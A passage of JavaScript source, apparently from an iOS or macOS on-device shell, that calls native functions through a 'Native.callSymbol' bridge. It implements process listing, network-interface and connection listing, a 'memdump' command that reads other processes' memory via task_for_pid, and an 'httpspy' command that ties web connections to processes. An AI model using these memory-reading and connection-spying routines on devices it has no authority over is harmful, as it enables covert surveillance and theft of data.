255));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, 256).replace(/\\0/g, \"\") + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _cmdDf(args) {\n\tvar human = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-h\") human = true;\n\tvar sb = Native.callSymbol(\"calloc\", 1, 4096);\n\tif (!sb || sb === 0n) return { code: 1, out: \"\", err: \"df: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"statfs\", \"/\", sb));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"df: statfs failed\\n\" };\n\t\tvar bsRaw = new DataView(Native.read(BigInt(sb), 4));\n\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\tvar blocks = Number(Native.readPtr(BigInt(sb) + 8n));\n\t\tvar bfree = Number(Native.readPtr(BigInt(sb) + 16n));\n\t\tvar bavail = Number(Native.readPtr(BigInt(sb) + 24n));\n\t\tvar total = blocks * bsize, free = bfree * bsize;\n\t\tvar used = total - free, avail = bavail * bsize;\n\t\tvar pct = total > 0 ? Math.round(used * 100 / total) : 0;\n\t\tvar out = \"Filesystem\\tSize\\tUsed\\tAvail\\tUse%\\tMounted on\\n\";\n\t\tif (human) {\n\t\t\tout += \"/dev/disk0s1\\t\" + _fmtSizeH(total) + \"\\t\" + _fmtSizeH(used) + \"\\t\" + _fmtSizeH(avail) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t} else {\n\t\t\tout += \"/dev/disk0s1\\t\" + (total/1024|0) + \"\\t\" + (used/1024|0) + \"\\t\" + (avail/1024|0) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t}\n\t\treturn { code: 0, out: out, err: \"\" };\n\t} finally { Native.callSymbol(\"free\", sb); }\n}\n\nfunction _cmdDate() {\n\tvar now = new Date();\n\treturn { code: 0, out: now.toISOString().replace(\"T\", \" \").replace(\"Z\", \" UTC\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdEcho(args) {\n\treturn { code: 0, out: args.slice(1).join(\" \") + \"\\n\", err: \"\" };\n}\n\n// ---- Process Commands ----\n\nfunction _cmdPs(args) {\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) {\n\t\tNative.callSymbol(\"free\", pidBuf);\n\t\treturn { code: 1, out: \"\", err: \"ps: proc_listallpids failed\\n\" };\n\t}\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\tpids.sort(function(a, b) { return a - b; });\n\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!nameBuf || nameBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar out = \" PID\\tNAME\\n\";\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\ttry {\n\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\tvar nameLen = Number(Native.callSymbol(\"proc_name\", pids[pi], nameBuf, 255));\n\t\t\tvar name = nameLen > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\tout += \" \" + pids[pi] + \"\\t\" + name + \"\\n\";\n\t\t} catch (procErr) {\n\t\t\tout += \" \" + pids[pi] + \"\\t(error)\\n\";\n\t\t}\n\t}\n\tNative.callSymbol(\"free\", nameBuf);\n\tout += \"\\nTotal: \" + pids.length + \" processes\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdMemdump(args) {\n\tif (args.length < 4) return { code: 1, out: \"\", err: \"memdump: usage: memdump \\n Address in hex (0x...). Max dump display 4KB, max read 1MB.\\n\" };\n\n\tvar pid = parseInt(args[1]);\n\tvar addrStr = args[2];\n\tvar address = (addrStr.indexOf(\"0x\") === 0 || addrStr.indexOf(\"0X\") === 0)\n\t\t? parseInt(addrStr, 16) : parseInt(addrStr);\n\tvar size = parseInt(args[3]);\n\n\tif (isNaN(pid) || pid <= 0) return { code: 1, out: \"\", err: \"memdump: invalid pid\\n\" };\n\tif (isNaN(address)) return { code: 1, out: \"\", err: \"memdump: invalid address\\n\" };\n\tif (isNaN(size) || size <= 0) return { code: 1, out: \"\", err: \"memdump: invalid size\\n\" };\n\tif (size > 1024 * 1024) return { code: 1, out: \"\", err: \"memdump: size too large (max 1MB)\\n\" };\n\n\tvar selfPortAddr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"mach_task_self_\");\n\tif (!selfPortAddr || selfPortAddr === 0n) return { code: 1, out: \"\", err: \"memdump: cannot resolve mach_task_self_\\n\" };\n\tvar selfPort = Native.read32(BigInt(selfPortAddr));\n\n\tvar taskPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!taskPtr || taskPtr === 0n) return { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\n\tvar kr = Number(Native.callSymbol(\"task_for_pid\", selfPort, pid, taskPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", taskPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: task_for_pid failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\tvar task = Native.read32(BigInt(taskPtr));\n\tNative.callSymbol(\"free\", taskPtr);\n\n\tvar dataOutPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar cntOutPtr = Native.callSymbol(\"calloc\", 1, 4);\n\tif (!dataOutPtr || dataOutPtr === 0n || !cntOutPtr || cntOutPtr === 0n) {\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\tif (dataOutPtr) Native.callSymbol(\"free\", dataOutPtr);\n\t\tif (cntOutPtr) Native.callSymbol(\"free\", cntOutPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\t}\n\n\tkr = Number(Native.callSymbol(\"mach_vm_read\", task, BigInt(address), BigInt(size), dataOutPtr, cntOutPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", dataOutPtr);\n\t\tNative.callSymbol(\"free\", cntOutPtr);\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\treturn { code: 1, out: \"\", err: \"memdump: mach_vm_read failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\n\tvar dataAddr = Native.readPtr(BigInt(dataOutPtr));\n\tvar dataCnt = _readU32(BigInt(cntOutPtr), 0);\n\tNative.callSymbol(\"free\", dataOutPtr);\n\tNative.callSymbol(\"free\", cntOutPtr);\n\n\tvar readSize = dataCnt < size ? dataCnt : size;\n\tvar bytes = new Uint8Array(Native.read(dataAddr, readSize));\n\n\tNative.callSymbol(\"mach_vm_deallocate\", selfPort, dataAddr, BigInt(dataCnt));\n\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\n\tvar maxShow = readSize > 4096 ? 4096 : readSize;\n\tvar out = \"\";\n\tfor (var i = 0; i < maxShow; i += 16) {\n\t\tvar a = (address + i).toString(16);\n\t\twhile (a.length < 8) a = \"0\" + a;\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < maxShow) {\n\t\t\t\tvar hx = bytes[i + j].toString(16);\n\t\t\t\thex += (hx.length < 2 ? \"0\" + hx : hx) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += a + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\tif (readSize > maxShow) out += \"\\n... truncated (read \" + readSize + \" bytes, showing \" + maxShow + \")\\n\";\n\tout += \"\\n\" + readSize + \" bytes read from pid \" + pid + \" at 0x\" + address.toString(16) + \"\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Commands ----\n\nfunction _cmdIfconfig(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"ifconfig: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"ifconfig: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar ifMap = {};\n\tvar ifOrder = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar flags = _readU32(ifa, 16);\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (!ifMap[name]) {\n\t\t\t\tifMap[name] = { flags: flags, addrs: [], mtu: 0 };\n\t\t\t\tifOrder.push(name);\n\t\t\t}\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\n\t\t\t\tif (family === 2) {\n\t\t\t\t\tvar ab = new Uint8Array(Native.read(addrPtr + 4n, 4));\n\t\t\t\t\tvar ip = ab[0] + \".\" + ab[1] + \".\" + ab[2] + \".\" + ab[3];\n\t\t\t\t\tvar entry = { type: \"inet\", addr: ip };\n\t\t\t\t\tvar maskPtr = Native.readPtr(ifa + 32n);\n\t\t\t\t\tif (maskPtr && maskPtr !== 0n) {\n\t\t\t\t\t\tvar mb = new Uint8Array(Native.read(maskPtr + 4n, 4));\n\t\t\t\t\t\tentry.mask = mb[0] + \".\" + mb[1] + \".\" + mb[2] + \".\" + mb[3];\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push(entry);\n\t\t\t\t} else if (family === 30) {\n\t\t\t\t\tvar a6 = new Uint8Array(Native.read(addrPtr + 8n, 16));\n\t\t\t\t\tvar v6 = \"\";\n\t\t\t\t\tfor (var k = 0; k < 16; k += 2) {\n\t\t\t\t\t\tif (k > 0) v6 += \":\";\n\t\t\t\t\t\tv6 += ((a6[k] << 8) | a6[k + 1]).toString(16);\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push({ type: \"inet6\", addr: v6 });\n\t\t\t\t} else if (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tifMap[name].mtu = _readU32(dataPtr, 8);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip this entry on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"\";\n\tfor (var oi = 0; oi < ifOrder.length; oi++) {\n\t\tvar n = ifOrder[oi];\n\t\tvar inf = ifMap[n];\n\t\tvar fl = [];\n\t\tif (inf.flags & 0x1) fl.push(\"UP\");\n\t\tif (inf.flags & 0x2) fl.push(\"BROADCAST\");\n\t\tif (inf.flags & 0x8) fl.push(\"LOOPBACK\");\n\t\tif (inf.flags & 0x10) fl.push(\"POINTOPOINT\");\n\t\tif (inf.flags & 0x40) fl.push(\"RUNNING\");\n\t\tif (inf.flags & 0x8000) fl.push(\"MULTICAST\");\n\t\tout += n + \": flags=0x\" + inf.flags.toString(16) + \" <\" + fl.join(\",\") + \">\";\n\t\tif (inf.mtu > 0) out += \" mtu \" + inf.mtu;\n\t\tout += \"\\n\";\n\t\tfor (var ai = 0; ai < inf.addrs.length; ai++) {\n\t\t\tvar ad = inf.addrs[ai];\n\t\t\tif (ad.type === \"inet\") {\n\t\t\t\tout += \"\\tinet \" + ad.addr;\n\t\t\t\tif (ad.mask) out += \" netmask \" + ad.mask;\n\t\t\t\tout += \"\\n\";\n\t\t\t} else if (ad.type === \"inet6\") {\n\t\t\t\tout += \"\\tinet6 \" + ad.addr + \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdNetstats(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"netstats: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"netstats: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar stats = {};\n\tvar order = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\t\t\t\tif (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tif (!stats[name]) order.push(name);\n\t\t\t\t\t\tstats[name] = {\n\t\t\t\t\t\t\tmtu: _readU32(dataPtr, 8),\n\t\t\t\t\t\t\tipackets: _readU32(dataPtr, 20),\n\t\t\t\t\t\t\tierrors: _readU32(dataPtr, 24),\n\t\t\t\t\t\t\topackets: _readU32(dataPtr, 28),\n\t\t\t\t\t\t\toerrors: _readU32(dataPtr, 32),\n\t\t\t\t\t\t\tcollisions: _readU32(dataPtr, 36),\n\t\t\t\t\t\t\tibytes: _readU32(dataPtr, 40),\n\t\t\t\t\t\t\tobytes: _readU32(dataPtr, 44)\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"Interface\\tRX bytes\\tTX bytes\\tRX pkts\\t\\tTX pkts\\t\\tRX err\\tTX err\\n\";\n\tvar totalRx = 0, totalTx = 0;\n\tfor (var si = 0; si < order.length; si++) {\n\t\tvar sn = order[si];\n\t\tvar s = stats[sn];\n\t\tout += sn + \"\\t\\t\" + _fmtSizeH(s.ibytes) + \"\\t\\t\" + _fmtSizeH(s.obytes)\n\t\t\t+ \"\\t\\t\" + s.ipackets + \"\\t\\t\" + s.opackets\n\t\t\t+ \"\\t\\t\" + s.ierrors + \"\\t\" + s.oerrors + \"\\n\";\n\t\ttotalRx += s.ibytes;\n\t\ttotalTx += s.obytes;\n\t}\n\tout += \"\\nTotal RX: \" + _fmtSizeH(totalRx) + \" TX: \" + _fmtSizeH(totalTx) + \"\\n\";\n\n\tout += \"\\nNetwork type summary:\\n\";\n\tfor (var ni = 0; ni < order.length; ni++) {\n\t\tvar nn = order[ni];\n\t\tvar ns = stats[nn];\n\t\tif (ns.ibytes === 0 && ns.obytes === 0) continue;\n\t\tvar netType = \"other\";\n\t\tif (nn === \"en0\") netType = \"WiFi\";\n\t\telse if (nn === \"lo0\") netType = \"Loopback\";\n\t\telse if (nn.indexOf(\"pdp_ip\") === 0) netType = \"Cellular\";\n\t\telse if (nn.indexOf(\"utun\") === 0) netType = \"VPN/Tunnel\";\n\t\telse if (nn.indexOf(\"ipsec\") === 0) netType = \"IPSec\";\n\t\telse if (nn.indexOf(\"en\") === 0) netType = \"Ethernet\";\n\t\telse if (nn.indexOf(\"awdl\") === 0) netType = \"AWDL (AirDrop)\";\n\t\tout += \" \" + nn + \" (\" + netType + \"): RX \" + _fmtSizeH(ns.ibytes) + \" / TX \" + _fmtSizeH(ns.obytes) + \"\\n\";\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Connection Commands ----\n\nfunction _fmtIPv6Short(data, off) {\n\tvar parts = [];\n\tfor (var i = 0; i < 16; i += 2) {\n\t\tparts.push(((data[off + i] << 8) | data[off + i + 1]).toString(16));\n\t}\n\treturn parts.join(\":\");\n}\n\nfunction _getSysctlPcbList(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return null;\n\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar dataSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (dataSize <= 0 || dataSize > 10 * 1024 * 1024) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar allocSize = dataSize + 4096;\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(allocSize));\n\tif (!dataBuf || dataBuf === 0n) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tNative.write64(sizePtr, BigInt(allocSize));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, dataBuf, sizePtr, 0, 0));\n\tvar actualSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tNative.callSymbol(\"free\", sizePtr);\n\n\tif (rc !== 0) { Native.callSymbol(\"free\", dataBuf); return null; }\n\treturn { buf: dataBuf, size: actualSize };\n}\n\nfunction _parseConnections(dataBuf, dataSize, isTcp) {\n\tvar XSO_INPCB = 0x010, XSO_TCPCB = 0x020;\n\tvar conns = [];\n\n\tif (dataSize < 24) return conns;\n\tvar headerLen = _readU32(dataBuf, 0);\n\tif (headerLen < 16 || headerLen > 256) return conns;\n\n\tvar off = headerLen;\n\tvar cur = null;\n\tvar maxIter = 50000;\n\n\twhile (off + 8 <= dataSize && maxIter-- > 0) {\n\t\tvar eLen = _readU32(dataBuf, off);\n\t\tvar eKind = _readU32(dataBuf, off + 4);\n\t\tif (eLen < 8 || eLen > 8192 || off + eLen > dataSize) break;\n\n\t\ttry {\n\t\t\tif (isTcp && eKind === XSO_TCPCB) {\n\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\tif (eLen >= 40) cur.state = _readU32(dataBuf, off + 36);\n\t\t\t} else if (eKind === XSO_INPCB) {\n\t\t\t\tif (!isTcp) {\n\t\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\t}\n\t\t\t\tif (cur && eLen >= 84) {\n\t\t\t\t\tcur.fport = (_readU8(dataBuf, off + 16) << 8) | _readU8(dataBuf, off + 17);\n\t\t\t\t\tcur.lport = (_readU8(dataBuf, off + 18) << 8) | _readU8(dataBuf, off + 19);\n\t\t\t\t\tcur.vflag = _readU8(dataBuf, off + 48);\n\n\t\t\t\t\tif (cur.vflag & 1) {\n\t\t\t\t\t\tvar la = new Uint8Array(Native.read(dataBuf + BigInt(off + 64), 4));\n\t\t\t\t\t\tvar fa = new Uint8Array(Native.read(dataBuf + BigInt(off + 80), 4));\n\t\t\t\t\t\tcur.laddr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t\t\tcur.faddr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\t} else if (cur.vflag & 2) {\n\t\t\t\t\t\tvar la6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 52), 16));\n\t\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 68), 16));\n\t\t\t\t\t\tcur.laddr = _fmtIPv6Short(la6, 0);\n\t\t\t\t\t\tcur.faddr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (parseErr) { /* skip malformed entry */ }\n\n\t\toff += eLen;\n\t}\n\tif (cur) conns.push(cur);\n\treturn conns;\n}\n\nfunction _cmdConnections(args) {\n\tvar showTcp = true, showUdp = true, showListen = false, showAll = false;\n\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-t\") { showTcp = true; showUdp = false; }\n\t\telse if (args[i] === \"-u\") { showTcp = false; showUdp = true; }\n\t\telse if (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-l\") showListen = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: connections [-t] [-u] [-a] [-l]\\n\" +\n\t\t\t\t\" -t Show TCP connections only\\n\" +\n\t\t\t\t\" -u Show UDP sockets only\\n\" +\n\t\t\t\t\" -a Show all (including LISTEN, TIME_WAIT, CLOSED)\\n\" +\n\t\t\t\t\" -l Show only LISTEN sockets\\n\" +\n\t\t\t\t\" Default: show TCP+UDP, hide LISTEN/TIME_WAIT/CLOSED\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\n\tvar out = \"Proto Local Address Foreign Address State\\n\";\n\tout += \"----- ------------------------- ------------------------- -----------\\n\";\n\tvar total = 0;\n\n\tif (showTcp) {\n\t\tvar tcpData = _getSysctlPcbList(\"net.inet.tcp.pcblist_n\");\n\t\tif (tcpData) {\n\t\t\tvar tcpConns = _parseConnections(tcpData.buf, tcpData.size, true);\n\t\t\tNative.callSymbol(\"free\", tcpData.buf);\n\n\t\t\tfor (var ci = 0; ci < tcpConns.length; ci++) {\n\t\t\t\tvar c = tcpConns[ci];\n\t\t\t\tvar st = (c.state >= 0 && c.state < tcpStates.length) ? tcpStates[c.state] : \"?\" + c.state;\n\n\t\t\t\tif (!showAll) {\n\t\t\t\t\tif (showListen && st !== \"LISTEN\") continue;\n\t\t\t\t\tif (!showListen && (st === \"TIME_WAIT\" || st === \"CLOSED\" || st === \"LISTEN\")) continue;\n\t\t\t\t}\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"tcp6 \" : \"tcp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + st + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(tcp: sysctl net.inet.tcp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tif (showUdp) {\n\t\tvar udpData = _getSysctlPcbList(\"net.inet.udp.pcblist_n\");\n\t\tif (udpData) {\n\t\t\tvar udpConns = _parseConnections(udpData.buf, udpData.size, false);\n\t\t\tNative.callSymbol(\"free\", udpData.buf);\n\n\t\t\tfor (var ci = 0; ci < udpConns.length; ci++) {\n\t\t\t\tvar c = udpConns[ci];\n\t\t\t\tif (!showAll && c.lport === 0 && c.fport === 0) continue;\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"udp6 \" : \"udp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(udp: sysctl net.inet.udp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tout += \"\\nTotal: \" + total + \" connections\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Process Network Spy ----\n\nfunction _cmdHttpspy(args) {\n\tvar showAll = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: httpspy [-a]\\n\" +\n\t\t\t\t\" Maps active network connections to owning processes\\n\" +\n\t\t\t\t\" Default: show only HTTP (80) / HTTPS (443) connections\\n\" +\n\t\t\t\t\" -a Show ALL network connections per process\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) { Native.callSymbol(\"free\", pidBuf); return { code: 1, out: \"\", err: \"httpspy: proc_listallpids failed\\n\" }; }\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\n\tvar fdInfoSize = 8;\n\tvar fdBuf = Native.callSymbol(\"malloc\", BigInt(fdInfoSize * 2048));\n\tvar sockBuf = Native.callSymbol(\"malloc\", 4096);\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!fdBuf || fdBuf === 0n || !sockBuf || sockBuf === 0n || !nameBuf || nameBuf === 0n) {\n\t\tif (fdBuf && fdBuf !== 0n) Native.callSymbol(\"free\", fdBuf);\n\t\tif (sockBuf && sockBuf !== 0n) Native.callSymbol(\"free\", sockBuf);\n\t\tif (nameBuf && nameBuf !== 0n) Native.callSymbol(\"free\", nameBuf);\n\t\treturn { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\t}\n\n\tvar OFF_SOI_TYPE = 176;\n\tvar OFF_SOI_PROTO = 180;\n\tvar OFF_SOI_FAMILY = 184;\n\tvar OFF_INI_FPORT = 264;\n\tvar OFF_INI_LPORT = 268;\n\tvar OFF_INI_VFLAG = 288;\n\tvar OFF_INI_FADDR4 = 308;\n\tvar OFF_INI_LADDR4 = 324;\n\tvar OFF_INI_FADDR6 = 296;\n\tvar OFF_INI_LADDR6 = 312;\n\tvar OFF_TCP_STATE = 360;\n\tvar MIN_SI_SIZE = 364;\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\tvar results = [];\n\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\tvar pid = pids[pi];\n\t\tvar fdBytes = Number(Native.callSymbol(\"proc_pidinfo\", pid, 1, 0, fdBuf, fdInfoSize * 2048));\n\t\tif (fdBytes <= 0) continue;\n\t\tvar fdCount = Math.floor(fdBytes / fdInfoSize);\n\t\tvar procName = null;\n\n\t\tfor (var fi = 0; fi < fdCount && fi < 2048; fi++) {\n\t\t\ttry {\n\t\t\t\tvar fd = _readU32(fdBuf, fi * 8);\n\t\t\t\tvar fdtype = _readU32(fdBuf, fi * 8 + 4);\n\t\t\t\tif (fdtype !== 2) continue;\n\n\t\t\t\tNative.callSymbol(\"memset\", sockBuf, 0, 4096);\n\t\t\t\tvar infoBytes = Number(Native.callSymbol(\"proc_pidfdinfo\", pid, fd, 3, sockBuf, 4096));\n\t\t\t\tif (infoBytes < MIN_SI_SIZE) continue;\n\n\t\t\t\tvar family = _readU32(sockBuf, OFF_SOI_FAMILY);\n\t\t\t\tvar protocol = _readU32(sockBuf, OFF_SOI_PROTO);\n\t\t\t\tif (family !== 2 && family !== 30) continue;\n\t\t\t\tif (protocol !== 6 && protocol !== 17) continue;\n\n\t\t\t\tvar fport = (_readU8(sockBuf, OFF_INI_FPORT) << 8) | _readU8(sockBuf, OFF_INI_FPORT + 1);\n\t\t\t\tvar lport = (_readU8(sockBuf, OFF_INI_LPORT) << 8) | _readU8(sockBuf, OFF_INI_LPORT + 1);\n\n\t\t\t\tif (!showAll && fport !== 80 && fport !== 443 && lport !== 80 && lport !== 443) continue;\n\n\t\t\t\tvar vflag = _readU8(sockBuf, OFF_INI_VFLAG);\n\t\t\t\tvar faddrStr = \"*\", laddrStr = \"*\";\n\n\t\t\t\tif (vflag & 1) {\n\t\t\t\t\tvar fa = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR4), 